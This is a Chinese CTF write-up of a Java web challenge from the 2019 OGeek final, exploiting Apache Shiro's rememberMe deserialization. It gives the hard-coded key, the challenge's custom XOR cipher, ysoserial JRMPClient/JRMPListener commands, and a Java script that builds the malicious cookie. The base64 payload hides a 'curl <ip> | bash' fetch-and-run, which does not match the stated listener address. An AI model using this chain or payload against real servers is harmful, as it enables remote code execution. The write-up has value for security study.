2019 OGeek Final & Java Web

前言

前段时间参加了OPPO举办的OGeek网络安全比赛线下赛，遇到一道Java Web，由于不太擅长，只是做了防御没有攻击成功，趁周末复盘一下~

代码分析

拿到题目，发现没有啥功能：

顺势看了一眼源码：

看到shiro后立刻可以想到shiro的反序列化漏洞：

https://paper.seebug.org/shiro-rememberme-1-2-4/

可以看到存在漏洞的shiro版本号为：1.2.4，我们查看题目当前版本：

那么显然，是存在shiro反序列化攻击的。

shiro反序列化

查阅相关资料可以知道，该漏洞的利用，涉及如下几个重要的点：

- rememberMe cookie
- CookieRememberMeManager.java
- Base64
- 加密算法
- 加密密钥硬编码
- Java serialization

我们可以知道，攻击的可控点在登录时的RememberMe，但是该值是需要序列化、加密、Base64的，那么很自然的，我们第一步应该是去寻找它对应的加解密算法，我们查看配置文件:webapps/web/WEB-INF/classes/spring-shiro.xml，发现如下关键信息：

可以得知我们的加解密算法位置在ShiroRememberManager类中，我们进行查看：

private byte[] getKeyFromConfig() {
    try {
        InputStream fileInputStream = this.getClass().getResourceAsStream("remember.key");
        String key = "";
        if (fileInputStream != null && fileInputStream.available() >= 32) {
            byte[] bytes = new byte[fileInputStream.available()];
            fileInputStream.read(bytes);
            key = new String(bytes);
            fileInputStream.close();
        } else {
            BufferedWriter writer = new BufferedWriter(new FileWriter(this.getClass().getResource("/").getPath() + "com/collection/shiro/manager/remember.key"));
            key = RandomStringUtils.random(32, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_=");
            writer.write(key);
            writer.close();
        }
        key = (new Md5Hash(key)).toString();
        return key.getBytes();
    } catch (Exception var4) {
        var4.printStackTrace();
        return null;
    }
}

我们关注到关键点：加密密钥硬编码，其密钥位置为：com/collection/shiro/manager/remember.key

我们可以查看其值为：

$ cat remember.key
wR&_(NVG#c&9(CDhaDMZELDmxSe(mwbB

找到了密钥位置，我们去查看一下加解密算法：

private CipherService cipherService = new ShiroCipherService();

关注到ShiroCipherService类：

public ByteSource encrypt(byte[] plaintext, byte[] key) throws CryptoException {
    String sign = (new Md5Hash(UUID.randomUUID().toString())).toString() + "asfda-92u134-";
    Subject subject = SecurityUtils.getSubject();
    HttpServletRequest servletRequest = WebUtils.getHttpRequest(subject);
    String user_agent = servletRequest.getHeader("User-Agent");
    String ip_address = servletRequest.getHeader("X-Forwarded-For");
    ip_address = ip_address == null ? servletRequest.getRemoteAddr() : ip_address;
    String data = "{\"user_is_login\":\"1\",\"sign\":\"" + sign + "\",\"ip_address\":\"" + ip_address + "\",\"user_agent\":\"" + user_agent + "\",\"serialize_data\":\"" + Base64.getEncoder().encodeToString(plaintext) + "\"}";
    byte[] data_bytes = data.getBytes();
    byte[] okey = (new Sha1Hash(new String(key))).toString().getBytes();
    byte[] mkey = (new Sha1Hash(UUID.randomUUID().toString())).toString().getBytes();
    byte[] out = new byte[2 * data_bytes.length];
    for(int i = 0; i < data_bytes.length; ++i) {
        out[i * 2] = mkey[i % mkey.length];
        out[i * 2 + 1] = (byte)(mkey[i % mkey.length] ^ data_bytes[i]);
    }
    byte[] result = new byte[out.length];
    for(int i = 0; i < out.length; ++i) {
        result[i] = (byte)(out[i] ^ okey[i % okey.length]);
    }
    return Util.bytes(result);
}

以往的加密算法一般为AES，可以发现这里出题人自己编写了一个加密规则，简单看一下，应该是一个异或加密，相应的解密规则也不需要我们编写，出题人也直接给出了解密规则：

public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
    String skey = (new Sha1Hash(new String(key))).toString();
    byte[] bkey = skey.getBytes();
    byte[] data_bytes = new byte[ciphertext.length];
    for(int i = 0; i < ciphertext.length; ++i) {
        data_bytes[i] = (byte)(ciphertext[i] ^ bkey[i % bkey.length]);
    }
    byte[] jsonData = new byte[ciphertext.length / 2];
    for(int i = 0; i < jsonData.length; ++i) {
        jsonData[i] = (byte)(data_bytes[i * 2] ^ data_bytes[i * 2 + 1]);
    }
    JSONObject jsonObject = new JSONObject(new String(jsonData));
    String serial = (String)jsonObject.get("serialize_data");
    return Util.bytes(Base64.getDecoder().decode(serial));
}

但值得注意的是，其中加密算法还是带有一个随机值：

byte[] mkey = (new Sha1Hash(UUID.randomUUID().toString())).toString().getBytes();

但该值是用于签名，在解密时，并不会校验签名，所以并没有什么影响。

Exp编写

拥有了密钥、加密算法，那么剩下的就是构造我们的exp了，不同往上存在的exp，我们需要自己进行改写exp加密部分，首先我们查看lib文件下：

我们发现使用了commons-collections-3.1.jar，通过ysoserial.jar进行查看：

在内网环境中，攻击目标为：192.168.1.185，而攻击者为192.168.1.230，

我们通过ysoserial.jar进行exp构造：

java -jar ysoserial.jar JRMPClient '192.168.1.230:22222' | base64 > poc

生成对应exp，然后编写我们的payload加密脚本：

import java.io.InputStream;
import java.io.OutputStream;
import java.util.Base64;
import java.util.UUID;
import com.alibaba.fastjson.JSON;
import com.sun.xml.internal.rngom.parse.host.Base;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.crypto.CryptoException;
import org.apache.shiro.crypto.hash.Md5Hash;
import org.apache.shiro.crypto.hash.Sha1Hash;
import org.apache.shiro.subject.Subject;
import org.apache.shiro.util.ByteSource;
import org.json.JSONObject;
import org.omg.PortableInterceptor.SYSTEM_EXCEPTION;
/**
 * Hello world!
 */
public class App {
    public static void main(String[] args) throws Exception {
        String b64_pay = "rO0ABXN9AAAAAQAaamF2YS5ybWkucmVnaXN0cnkuUmVnaXN0cnl4cgAXamF2YS5sYW5nLnJlZmxl\n" +
        "Y3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhh\n" +
        "bmRsZXI7eHBzcgAtamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdEludm9jYXRpb25IYW5kbGVy\n" +
        "AAAAAAAAAAICAAB4cgAcamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdNNhtJEMYTMeAwAAeHB3\n" +
        "QwAKVW5pY2FzdFJlZgAaY3VybCAxMDYuMTQuMTE0LjEyNyB8IGJhc2gAALXUAAAAADbgqhEAAAAA\n" +
        "AAAAAAAAAAAAAAB4"
        String json = "{\"user_is_login\":\"1\",\"sign\":\"d912fc80c68563b2f5ad7b784d56e0c1asfda-92u134-\",\"ip_address\":\"192.168.1.185\",\"user_agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\",\"serialize_data\":\""+b64_pay+"\"}";
        String key = "wR&_(NVG#c&9(CDhaDMZELDmxSe(mwbB";
        key = (new Md5Hash(key)).toString();
        byte[] key_b = key.getBytes();
        //System.out.println(decrypt(cipher_b, key_b));
        System.out.println(encrypt(json, key_b));
    }
    public static ByteSource encrypt(String data, byte[] key) throws CryptoException {
        byte[] data_bytes = data.getBytes();
        byte[] okey = (new Sha1Hash(new String(key))).toString().getBytes();
        byte[] mkey = (new Sha1Hash(UUID.randomUUID().toString())).toString().getBytes();
        byte[] out = new byte[2 * data_bytes.length];
        for(int i = 0; i < data_bytes.length; ++i) {
            out[i * 2] = mkey[i % mkey.length];
            out[i * 2 + 1] = (byte)(mkey[i % mkey.length] ^ data_bytes[i]);
        }
        byte[] result = new byte[out.length];
        for(int i = 0; i < out.length; ++i) {
            result[i] = (byte)(out[i] ^ okey[i % okey.length]);
        }
        return ByteSource.Util.bytes(result);
    }
}

运行即可生成对应的RememberMe的值，并将该值作为RememberMe的值，放于Cookie中，先运行以下命令，再将请求发送给攻击目标：

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 22222 CommonsCollections5 'open -a Calculator'

即可命令执行。

后记

还是对Java不太熟练，比赛的时候，这个漏洞的难度还是低于PHP的（，以后还得加加油~